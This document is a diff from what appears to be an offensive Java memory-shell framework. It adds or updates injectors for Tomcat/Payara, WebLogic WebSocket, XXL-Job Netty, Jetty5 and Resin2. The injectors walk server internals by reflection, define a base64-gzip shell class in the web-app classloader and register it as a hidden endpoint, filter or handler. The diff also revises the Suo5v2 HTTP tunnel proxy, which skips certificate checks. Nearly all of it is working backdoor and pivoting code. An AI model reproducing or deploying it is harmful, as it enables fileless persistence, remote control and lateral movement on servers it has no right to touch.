if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
if (children != null) {
contexts.addAll(children.values());
}
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
@@ -90,6 +107,35 @@ public class TomcatListenerInjector {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
/**
* Older Catalina: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
@@ -0,0 +1,307 @@
package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class WebLogicWebSocketInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public WebLogicWebSocketInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
Object container = getServerContainer(context);
if (container == null) {
continue;
}
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, container, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* weblogic.servlet.internal.WebAppServletContext
*/
@SuppressWarnings("unchecked")
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>();
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
}
try {
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) {
}
return webappContexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
private Object getServerContainer(Object context) throws Exception {
// WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly
Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) {
container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
}
return container;
}
@SuppressWarnings("all")
private void inject(Object context, Object container, Object obj) throws Exception {
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class<?> serverEndpointConfigClass;
Class<?> builderClass;
try {
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
} catch (ClassNotFoundException e) {
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
}
// Use the standard static factory method — Tyrus (WebLogic) only exposes create(), not a (Class,String) constructor
Object builder = invokeMethod(builderClass, "create", new Class[]{Class.class, String.class}, new Object[]{obj.getClass(), getUrlPattern()});
Object endpointConfig = invokeMethod(builder, "build", null, null);
// JSR-356 addEndpoint() throws IllegalStateException once the app is active; Tyrus's own
// register() bypasses this post-deployment lock and works on a live WebLogic server.
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
try {
invokeMethod(container, "register", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
} catch (Exception e) {
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
}
try {
prioritizeWebSocketFilter(context);
} catch (Exception ignored) {
// Newer WebLogic versions may use different filter internals and already order Tyrus first.
}
}
/**
* WebLogic 12 and 14 append Tyrus's filter after application filters. If one of those filters
* does not support async processing, Tyrus cannot call startAsync() during the WebSocket
* handshake. Move only the WebSocket mapping ahead of normal application mappings so the
* upgrade is handled before a non-async filter can disable async support for the request.
*/
@SuppressWarnings("all")
private void prioritizeWebSocketFilter(Object context) throws Exception {
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object value = getFieldValue(filterManager, "filterPatternList");
if (!(value instanceof List)) {
return;
}
List filterMappings = (List) value;
synchronized (filterMappings) {
for (int i = 0; i < filterMappings.size(); i++) {
Object filterMapping = filterMappings.get(i);
Object filterName = getFieldValue(filterMapping, "filterName");
if ("WebSocket filter".equals(filterName)) {
if (i > 0) {
filterMappings.remove(i);
filterMappings.add(0, filterMapping);
}
return;
}
}
}
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,13 +1,8 @@
package com.reajason.javaweb.memshell.injector.xxljob;
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.HttpObjectAggregator;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
@@ -15,11 +10,8 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.UUID;
import java.util.zip.GZIPInputStream;
/**
@@ -43,8 +35,11 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
return;
}
try {
inject();
msg += "[/*] ready\n";
if (inject()) {
msg += "[/*] ready\n";
} else {
msg += "failed, server channel not found\n";
}
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
@@ -58,25 +53,28 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
}
private static Class<?> handlerClass;
private static ChannelHandler originalChildHandler;
private final String handlerName = UUID.randomUUID().toString();
@Override
protected void initChannel(SocketChannel channel) throws Exception {
if (channel.pipeline().get(handlerName) != null) {
return;
}
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
.addLast(channelHandler)
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
0,
200,
60L,
TimeUnit.SECONDS,
new LinkedBlockingQueue<>(2000),
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
(r, executor) -> {
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
})));
channel.pipeline().addLast(originalChildHandler);
String httpCodecName = null;
for (String name : channel.pipeline().names()) {
if (name.contains("HttpObjectAggregator")) {
httpCodecName = name;
break;
}
}
if (httpCodecName != null) {
channel.pipeline().addAfter(httpCodecName, handlerName, channelHandler);
} else {
channel.pipeline().addFirst(handlerName, channelHandler);
}
}
private Class<?> getShellClass(Object context) throws Exception {
@@ -91,28 +89,50 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
}
}
public void inject() throws Exception {
public boolean inject() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
Object innerRunnable = getFieldValue(getFieldValue(thread, "target"), "runnable");
Field evField = getField(innerRunnable.getClass(), "val$eventExecutor");
if (evField == null) {
evField = getField(innerRunnable.getClass(), "this$0");
}
if (evField == null) {
continue;
}
target = evField.get(innerRunnable);
if (target.getClass().getName().endsWith("NioEventLoop")) {
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
handlerClass = getShellClass(embedHttpServerHandler);
setFieldValue(embedHttpServerHandler, "childHandler", this);
return;
Set<?> set = (Set<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
for (Object key : set.toArray()) {
try {
Object pipeline = getFieldValue(((java.nio.channels.SelectionKey) key).attachment(), "pipeline");
Object tail = getFieldValue(pipeline, "tail");
Object prevContext = getFieldValue(tail, "prev");
Object acceptor = getFieldValue(prevContext, "handler");
if (acceptor == null || !acceptor.getClass().getName().contains("ServerBootstrapAcceptor")) {
continue;
}
Field childHandlerField = getField(acceptor.getClass(), "childHandler");
if (childHandlerField == null) {
continue;
}
childHandlerField.setAccessible(true);
originalChildHandler = (ChannelHandler) childHandlerField.get(acceptor);
handlerClass = getShellClass(acceptor);
childHandlerField.set(acceptor, this);
return true;
} catch (Exception ignored) {
}
}
}
} catch (Exception ignored) {
}
}
}
return false;
}
@SuppressWarnings("all")
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5FilterInjector;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ServletInjector;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5 extends AbstractServer {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(request, "_servletHttpResponse");
} catch (Exception ignored) {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_request"), "_servletHttpResponse");
} catch (Exception ignored2) {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "_servletHttpResponse");
}
}
}
}
@Override
public Class<?> getListenerInterceptor() {
return ListenerInterceptor.class;
}
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, Jetty5ListenerInjector.class)
.addInjector(FILTER, Jetty5FilterInjector.class)
.addInjector(SERVLET, Jetty5ServletInjector.class)
.build();
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.resin2.Resin2FilterInjector;
import com.reajason.javaweb.memshell.injector.resin2.Resin2ServletInjector;
import static com.reajason.javaweb.memshell.ShellType.FILTER;
import static com.reajason.javaweb.memshell.ShellType.SERVLET;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2 extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, Resin2FilterInjector.class)
.addInjector(SERVLET, Resin2ServletInjector.class)
.build();
}
}
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicWebSocketInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -22,8 +23,13 @@ public class WebLogic extends AbstractServer {
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, WebLogicListenerInjector.class)
.addInjector(JAKARTA_LISTENER, WebLogicListenerInjector.class)
.addInjector(FILTER, WebLogicFilterInjector.class)
.addInjector(JAKARTA_FILTER, WebLogicFilterInjector.class)
.addInjector(SERVLET, WebLogicServletInjector.class)
.addInjector(JAKARTA_SERVLET, WebLogicServletInjector.class)
.addInjector(WEBSOCKET, WebLogicWebSocketInjector.class)
.addInjector(JAKARTA_WEBSOCKET, WebLogicWebSocketInjector.class)
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
.build();
}
@@ -8,6 +8,7 @@ import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
@@ -30,19 +31,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789";
private final int CHARACTERS_LENGTH = CHARACTERS.length();
private final int BUF_SIZE = 1024 * 16;
private final long TUNNEL_IDLE_TIMEOUT_MILLIS = 300L * 1000L;
private InputStream gInStream;
private OutputStream gOutStream;
private String gtunId;
private int mode = 0;
private Object gWriteLock;
public Suo5v2() {
}
public Suo5v2(InputStream in, OutputStream out, String tunId) {
this(in, out, tunId, null);
}
public Suo5v2(InputStream in, OutputStream out, String tunId, Object writeLock) {
this.gInStream = in;
this.gOutStream = out;
this.gtunId = tunId;
this.gWriteLock = writeLock;
}
public Suo5v2(String tunId, int mode) {
@@ -250,7 +258,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
conn = redirect(req, new String(redirectData), newBody);
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
pipeStream(conn.getInputStream(), out, resp, false);
pipeStream(conn.getInputStream(), out, resp, false, null);
} finally {
if (conn != null) {
conn.disconnect();
@@ -336,7 +344,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
socket.connect(new InetSocketAddress(host, port), 5000);
writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0);
} catch (Exception e) {
e.printStackTrace();
if (socket != null) {
socket.close();
}
@@ -350,8 +357,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
final Object responseWriteLock = new Object();
try {
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId, responseWriteLock);
t = new Thread(p);
t.start();
@@ -374,7 +382,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
break;
case 0x10:
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0);
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0, responseWriteLock);
break;
default:
}
@@ -388,7 +396,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0, responseWriteLock);
}
if (t != null) {
t.join();
@@ -482,10 +490,24 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception {
writeAndFlush(resp, data, dirtySize, null);
}
private void writeAndFlush(Object resp, byte[] data, int dirtySize, Object writeLock) throws Exception {
if (data == null || data.length == 0) {
return;
}
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
if (writeLock == null) {
writeResponseData(resp, out, data, dirtySize);
} else {
synchronized (writeLock) {
writeResponseData(resp, out, data, dirtySize);
}
}
}
private void writeResponseData(Object resp, OutputStream out, byte[] data, int dirtySize) throws Exception {
out.write(data);
if (dirtySize != 0) {
out.write(marshalBase64(newDirtyChunk(dirtySize)));
@@ -504,6 +526,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
SocketChannel socketChannel = null;
HashMap resultData = null;
Object[] existing = (Object[]) getKey(tunId);
if (existing != null) {
touchTunnel(existing);
baos.write(marshalBase64(newStatus(tunId, (byte) 0x00)));
return baos.toByteArray();
}
try {
socketChannel = SocketChannel.open();
socketChannel.socket().setTcpNoDelay(true);
@@ -514,8 +542,19 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
resultData = newStatus(tunId, (byte) 0x00);
BlockingQueue<byte[]> readQueue = new LinkedBlockingQueue<byte[]>(100);
BlockingQueue<byte[]> writeQueue = new LinkedBlockingQueue<byte[]>();
putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue});
if (newThread) {
Object[] newTunnel = new Object[]{socketChannel, readQueue, writeQueue, new long[]{new Date().getTime()}};
boolean installed = false;
synchronized (ctx) {
existing = (Object[]) ctx.get(tunId);
if (existing == null) {
ctx.put(tunId, newTunnel);
installed = true;
}
}
if (!installed) {
socketChannel.close();
touchTunnel(existing);
} else if (newThread) {
new Thread(new Suo5v2(tunId, 1)).start();
new Thread(new Suo5v2(tunId, 2)).start();
}
@@ -538,8 +577,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (objs == null) {
throw new IOException("tunnel not found");
}
touchTunnel(objs);
SocketChannel sc = (SocketChannel) objs[0];
if (!sc.isOpen()) {
// socket already closed, return silently and let performRead handle it
return;
}
@@ -562,6 +603,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (objs == null) {
throw new IOException("tunnel not found");
}
touchTunnel(objs);
SocketChannel sc = (SocketChannel) objs[0];
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
@@ -589,7 +631,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
private void performDelete(String tunId) {
Object[] objs = (Object[]) getKey(tunId);
if (objs != null) {
removeKey(tunId);
removeKeyIfSame(tunId, objs);
SocketChannel sc = (SocketChannel) objs[0];
BlockingQueue<byte[]> writeQueue = (BlockingQueue<byte[]>) objs[2];
try {
@@ -611,7 +653,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
return port;
}
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal, Object writeLock) throws Exception {
try {
byte[] readBuf = new byte[1024 * 8];
while (true) {
@@ -623,10 +665,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (needMarshal) {
dataTmp = marshalBase64(newData(this.gtunId, dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
if (resp != null) {
resp.getClass().getMethod("flushBuffer").invoke(resp);
if (writeLock == null) {
writePipeData(outputStream, resp, dataTmp);
} else {
synchronized (writeLock) {
writePipeData(outputStream, resp, dataTmp);
}
}
}
} finally {
@@ -640,6 +684,14 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
}
private void writePipeData(OutputStream outputStream, Object resp, byte[] data) throws Exception {
outputStream.write(data);
outputStream.flush();
if (resp != null) {
resp.getClass().getMethod("flushBuffer").invoke(resp);
}
}
private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException {
buffer.clear();
int bytesRead = socketChannel.read(buffer);
@@ -830,6 +882,47 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
ctx.remove(k);
}
private boolean removeKeyIfSame(String k, Object expected) {
synchronized (ctx) {
if (ctx.get(k) == expected) {
ctx.remove(k);
return true;
}
}
return false;
}
private void touchTunnel(Object[] objs) {
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
return;
}
long[] activity = (long[]) objs[3];
synchronized (activity) {
activity[0] = new Date().getTime();
}
}
private long getTunnelIdleMillis(Object[] objs) {
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
return Long.MAX_VALUE;
}
long[] activity = (long[]) objs[3];
synchronized (activity) {
return new Date().getTime() - activity[0];
}
}
private boolean waitForTunnelCleanup(Object[] objs, BlockingQueue<byte[]> writeQueue) throws InterruptedException {
while (getKey(this.gtunId) == objs) {
long remaining = TUNNEL_IDLE_TIMEOUT_MILLIS - getTunnelIdleMillis(objs);
if (remaining <= 0) {
return false;
}
writeQueue.poll(remaining, TimeUnit.MILLISECONDS);
}
return true;
}
private byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
@@ -1035,14 +1128,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
// full stream
if (this.mode == 0) {
try {
pipeStream(gInStream, gOutStream, null, true);
pipeStream(gInStream, gOutStream, null, true, gWriteLock);
} catch (Exception ignore) {
} finally {
try {
byte[] closeData = marshalBase64(newDel(this.gtunId));
if (gWriteLock == null) {
writePipeData(gOutStream, null, closeData);
} else {
synchronized (gWriteLock) {
writePipeData(gOutStream, null, closeData);
}
}
} catch (Exception ignore) {
}
}
return;
}
Object[] objs = (Object[]) getKey(this.gtunId);
if (objs == null || objs.length != 3) {
if (objs == null || objs.length < 3) {
return;
}
@@ -1060,6 +1165,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (data.length == 0) {
break;
}
touchTunnel(objs);
if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) {
selfClean = true;
break;
@@ -1070,12 +1176,16 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
while (true) {
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
if (data == null) {
selfClean = true;
break;
if (getTunnelIdleMillis(objs) >= TUNNEL_IDLE_TIMEOUT_MILLIS) {
selfClean = true;
break;
}
continue;
}
if (data.length == 0) {
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
if (signal == null) {
// EOF keeps pending data available while the client is actively draining it.
// An abandoned EOF tunnel is removed after the normal idle timeout.
if (getKey(this.gtunId) == objs && !waitForTunnelCleanup(objs, writeQueue)) {
selfClean = true;
}
break;
@@ -1089,9 +1199,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
} catch (Exception e) {
} finally {
if (selfClean) {
removeKey(this.gtunId);
readQueue.clear();
if (removeKeyIfSame(this.gtunId, objs)) {
readQueue.clear();
}
}
writeQueue.clear();
try {
@@ -23,6 +23,10 @@ import org.apache.commons.lang3.StringUtils;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import static java.nio.charset.StandardCharsets.UTF_8;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -32,10 +36,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2025/6/29
*/
public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
private static final Map<String, Class<?>> WRITER_CLASSES = createWriterClasses();
public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
super(probeConfig, probeContentConfig);
}
public static List<String> getSupportedServers() {
return new ArrayList<>(WRITER_CLASSES.keySet());
}
@Override
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
@@ -52,9 +62,9 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
.name(probeConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
.visit(Advice.withCustomMapping()
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
.to(runnerClass)
.on(named("run")));
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
.to(runnerClass)
.on(named("run")));
String base64Bytes = probeContentConfig.getBase64Bytes();
